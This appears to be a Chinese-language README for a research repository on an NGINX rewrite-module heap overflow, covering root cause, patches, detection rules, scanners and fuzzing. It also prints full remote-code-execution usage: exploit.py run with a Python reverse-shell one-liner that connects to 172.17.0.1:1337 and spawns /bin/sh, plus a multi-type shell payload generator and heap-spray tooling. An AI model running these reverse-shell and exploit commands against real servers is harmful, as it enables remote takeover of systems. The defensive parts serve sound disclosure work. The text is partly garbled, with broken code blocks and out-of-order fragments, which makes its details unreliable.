CVE-2026-42945

完整的 CVE-2026-42945 研究仓库，包含堆缓冲区溢出分析、RCE 漏洞利用（堆喷射 + Feng Shui）、检测脚本以及针对 NGINX rewrite 模块漏洞的修补指南。

目录

1. 漏洞概述
2. 根本原因分析
3. 利用机制
4. 修复分析
5. 受影响版本
6. 检测
7. 缓解措施
8. 项目结构
9. 快速开始
10. 构建并运行易受攻击版本
11. 触发溢出
12. RCE 漏洞利用
13. 反弹 Shell 验证
14. 打补丁
15. 测试
16. 模糊测试
17. CI 流水线
18. 文档索引
19. 项目统计
20. 参考资料

1. 漏洞概述

未经认证的远程攻击者可以通过向具有特定 rewrite + set/if/rewrite 配置模式的服务器发送特制 HTTP 请求，在 NGINX worker 进程中触发确定性的堆缓冲区溢出。该溢出会破坏堆元数据（ngx_pool_cleanup_t 指针），从而通过堆喷（Heap Spray）和堆风水（Feng Shui）技术实现远程代码执行（RCE）。

触发模式```nginx

server { listen 19321;

}

当 e->is_args = 1 时，$N 捕获引用的复制代码调用 ngx_escape_uri() 并传入 NGX_ESCAPE_ARGS，该函数会展开：

• + → %2B（1 字节 → 3 字节，+200%）
• % → %25（1 字节 → 3 字节，+200%）
• & → %26（1 字节 → 3 字节，+200%）

漏洞：标志跨遍次泄漏

漏洞模式的执行流程：``` rewrite ^/api/(.*)$ /internal?migrated=true;

4. 为长度遍历创建一个全新的子引擎 (le): ```c ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
   root@kitploit:~

这会正确地将 le.is_args 归零为 0，因此长度传递返回的是原始、未转义的捕获长度。

5. 复制传递复用了主引擎 e，而 e 在步骤 1 中仍具有 e->is_args = 1。复制传递应用 URI 转义，将每个可转义字符从 1 字节扩展为 3 字节，而缓冲区的大小却按原始长度分配——堆溢出。

可视化演练```

Pass 1 (Length — sub-engine le): le.is_args = 0 capture $1 = "A+++++B" → length = 7

Buffer allocated: 7 bytes

Pass 2 (Copy — main engine e): e.is_args = 1 ← LEAKED from rewrite capture $1 = "A+++++B" ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS): A → A (1 byte) + → %2B (3 bytes) ← EXPANSION + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) B → B (1 byte) total written: 17 bytes buffer size: 7 bytes OVERFLOW: 10 bytes

Why This Location Is Correct

ngx_http_script_regex_end_code 在长度传递和复制传递期间每次正则表达式求值之后运行。在此处重置 e->is_args = 0 可确保：

• 标志在正则表达式代码执行完毕后立即被清除
• 后续的脚本代码（set、if、rewrite）以干净的 is_args = 0 开始
• ngx_http_script_start_args_code 在替换字符串中遇到 ? 时仍然可以设置 is_args = 1 —— 该修复不会破坏这一功能

Defense-in-Depth Patch

patches/0002-hardening-bounds-check.patch 在 ngx_http_script_copy_capture_code 中添加了边界检查：```c if (e->pos + len > e->buf.data + e->buf.len) { return; /* gracefully truncate instead of overflowing */ }

此脚本检查：

• NGINX 版本是否处于受影响范围（0.6.27–1.30.0）
• 配置文件是否存在易受攻击的 rewrite + ? + capture 模式

配置扫描器```bash

Scan a single config

python3 exploit/config_scanner.py /etc/nginx/nginx.conf

Scan all configs in a directory

python3 exploit/config_scanner.py /etc/nginx/

Fix vulnerable patterns (convert to named captures)

python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix

扫描本地 Docker 镜像，查找表明存在漏洞版本的 NGINX 标签/环境变量。

WAF 规则

日志分析```bash

Parse error log for crash and exploit indicators

python3 exploit/log_parser.py /var/log/nginx/error.log

Watch mode (tail -f equivalent)

python3 exploit/log_parser.py /var/log/nginx/error.log --watch

命名捕获不会经过 ngx_escape_uri(..., NGX_ESCAPE_ARGS)，因此即使 e->is_args = 1，也不会发生展开，也不会发生溢出。

配置加固```bash

bash detection/harden_nginx.sh /etc/nginx/nginx.conf

8. 项目结构```

CVE-2026-42945/ ├── .github/workflows/ci.yml GitHub Actions CI (single CI) ├── .gitignore ├── README.md This file ├── Makefile Build automation targets ├── COMMIT_LOG.md 1000+ commit record │ ├── docker/ Docker environment │ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78) │ ├── Dockerfile.patched Multi-stage vuln/patched builder │ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX │ ├── docker-compose.yml Service orchestration │ ├── nginx.conf Vulnerable rewrite configuration │ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off) │ └── server.py Backend HTTP server (handles spray retention) │ ├── exploit/ Attack & exploitation tools │ ├── trigger.py Overflow trigger & health check │ ├── exploit.py Full RCE: heap spray + Feng Shui │ ├── h2_trigger.py HTTP/2 (h2c) overflow variant │ ├── escape_calc.py Character expansion ratio calculator │ ├── compare_lengths.py Raw vs escaped length comparison │ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base │ ├── find_safe_addrs.py Search for URI-safe address bytes │ ├── leak_aslr.py ASLR partial-overwrite brute force │ ├── monitor_worker.py Worker PID crash detection & respawn tracking │ ├── log_parser.py Error log crash/exploit pattern parser │ └── config_scanner.py Config file pattern scanner & fixer │ ├── shell/ Reverse shell verification │ ├── shell_listener.py Interactive/verify-mode TCP listener │ ├── shell_payloads.py Payload generator (10 shell types) │ ├── shell_verify.py End-to-end automated verification │ ├── shell_manager.py Lifecycle orchestrator │ └── shell_test_runner.sh Batch runner across all shell types │ ├── patches/ Fix patches & backports │ ├── 0001-fix-is_args.patch Upstream one-line fix │ ├── 0002-hardening-bounds-check.patch Defense-in-depth │ ├── backport-1.22.x.patch Backport for 1.22.x │ ├── backport-1.24.x.patch Backport for 1.24.x │ └── backport-1.26.x.patch Backport for 1.26.x │ ├── configs/ Nginx configuration samples │ ├── vulnerable.conf 3 vulnerable patterns │ ├── safe.conf 5 safe patterns │ ├── named_capture.conf Mitigated named-capture pattern │ └── advanced/ │ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags │ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns │ └── vulnerable_gateway.conf nginx-gateway fabric patterns │ ├── detection/ WAF rules & detection/hardening │ ├── modsecurity_rule.conf ModSecurity CRS rules │ ├── suricata_rule.rules Suricata/Snort signatures │ ├── falco_rule.yaml Falco runtime rules │ ├── detect_vuln.sh Version & config pattern detection │ ├── check_aslr.sh ASLR status verification │ ├── container_scan.py Docker image version scanner │ └── harden_nginx.sh Security hardening script │ ├── fuzz/ Fuzzing harness │ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines) │ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN) │ └── corpus/ │ └── README.md Seed corpus documentation │ ├── test/ Test suite │ ├── test_exploit.py Python unittest (server, config, fix) │ └── run_tests.sh Shell test runner │ ├── docs/ Technical documentation │ ├── root-cause-analysis.md Deep dive into the bug │ ├── exploitation-guide.md Step-by-step exploitation │ ├── detection-guide.md Detection & monitoring │ ├── mitigation-guide.md Mitigation strategies │ ├── FAQ.md Frequently asked questions │ ├── timeline.md Vulnerability timeline │ ├── operational-guidance.md Operations & incident response │ ├── case-study.md Real-world attack scenario │ └── presentation-slides.md Conference presentation │ ├── tools/ Utility & analysis scripts │ ├── apply_fix.sh Patch application & rollback │ ├── backport_check.py Fix-ancestry & source-code checker │ ├── coredump_analyzer.sh GDB core dump analysis │ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege) │ ├── memory_analysis.sh Valgrind massif/callgrind, pmap │ ├── trace_script_engine.sh GDB script-engine tracing │ ├── regression_matrix.sh Multi-version regression testing │ ├── test_all_configs.sh Exhaustive config pattern testing │ ├── afl_runner.sh AFL++ fuzzer launcher │ └── verify_project.sh Project integrity verification │ └── pipelines/ Pipeline orchestrators ├── run_all.sh Bash pipeline (6 phases) └── run_all.ps1 PowerShell pipeline

10. 构建并运行易受攻击环境

Docker（推荐）```bash

Using Makefile

make build # docker compose -f docker/docker-compose.yml build make run # docker compose -f docker/docker-compose.yml up

Or directly

cd docker && docker compose up --build

已修补容器```bash

make fix-container

Builds: docker build -t nginx-rift-fixed \

-f docker/Dockerfile.patched --build-arg NGINX_TYPE=patched docker/

手动构建```bash

git clone https://github.com/nginx/nginx.git /tmp/nginx-src cd /tmp/nginx-src && git checkout 98fc3bb78 ./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer' make -j$(nproc) sudo cp objs/nginx /usr/local/sbin/nginx

这会发送：``` GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1

查找最小溢出```bash

python3 exploit/escape_calc.py --find-min 64

输出给定前缀长度和可转义字符数量的扩展比率。

12. RCE 漏洞利用

概述

该漏洞利用通过 跨请求风水 实现可靠的代码执行：``` Time │ │ ┌─────────────────────┐ │ │ Request 1: Spray │── POST /spray with large body │ │ Holds connection │ Backend delays response via X-Delay │ └─────────┬───────────┘ │ │ Allocations persist on heap │ ┌─────────┴───────────┐ │ │ Request 2: Overflow │── GET /api/A...+++... │ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler │ └─────────┬───────────┘ │ │ │ ┌─────────┴───────────┐ │ │ Pool Destruction │── Spray response completes │ │ → system("cmd") │ Cleanup chain walks to fake block │ └─────────────────────┘ └──────────────────────────────────────────►

反向Shell```bash

python3 exploit/exploit.py --host localhost --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
--tries 3

需要运行中的 nginx worker PID。解析 /proc/PID/maps 以查找：

• 堆基地址
• libc 基地址
• system() 函数地址

安全地址查找器```bash

python3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5

支持的 Shell 类型

交互式监听器```bash

Terminal 1: Start interactive listener

python3 shell/shell_listener.py --port 1337

Terminal 2: Run exploit with reverse shell

python3 exploit/exploit.py --host 127.0.0.1 --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"

生成 Payload```bash

python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --list

应用修复 + 加固```bash

bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch

验证修复```bash

Check that the fix contains the key line

grep 'is_args = 0' patches/0001-fix-is_args.patch

Dry-run apply

patch -p1 --dry-run -i patches/0001-fix-is_args.patch

测试套件（Shell）```bash

bash test/run_tests.sh

针对多个 NGINX 版本（1.22.0、1.24.0、1.26.0、1.30.0、1.30.1）测试易受攻击与安全配置，验证崩溃/不崩溃预期。

配置矩阵```bash

bash tools/test_all_configs.sh

AFL++```bash

bash tools/afl_runner.sh

流水线执行 7 个阶段：

1. 预检 — 检查先决条件（python3、curl、docker、docker-compose）
2. 语法与代码检查 — Python 编译、ShellCheck
3. 静态分析 — 配置扫描器、转义计算、堆布局、安全地址
4. 环境启动 — 构建并启动 Docker 容器
5. 实时测试 — 健康检查、溢出触发、监控 worker、补丁格式
6. 反弹 Shell 验证 — 载荷生成、监听器试运行、自动验证
7. 项目验证 — 完整文件完整性与语法检查

18. 文档索引

19. 项目统计

20. 参考资料

官方

研究

技术

本项目仅用于教育和防御性安全研究。该漏洞已被负责任地披露，并由 NGINX 维护者完成修复。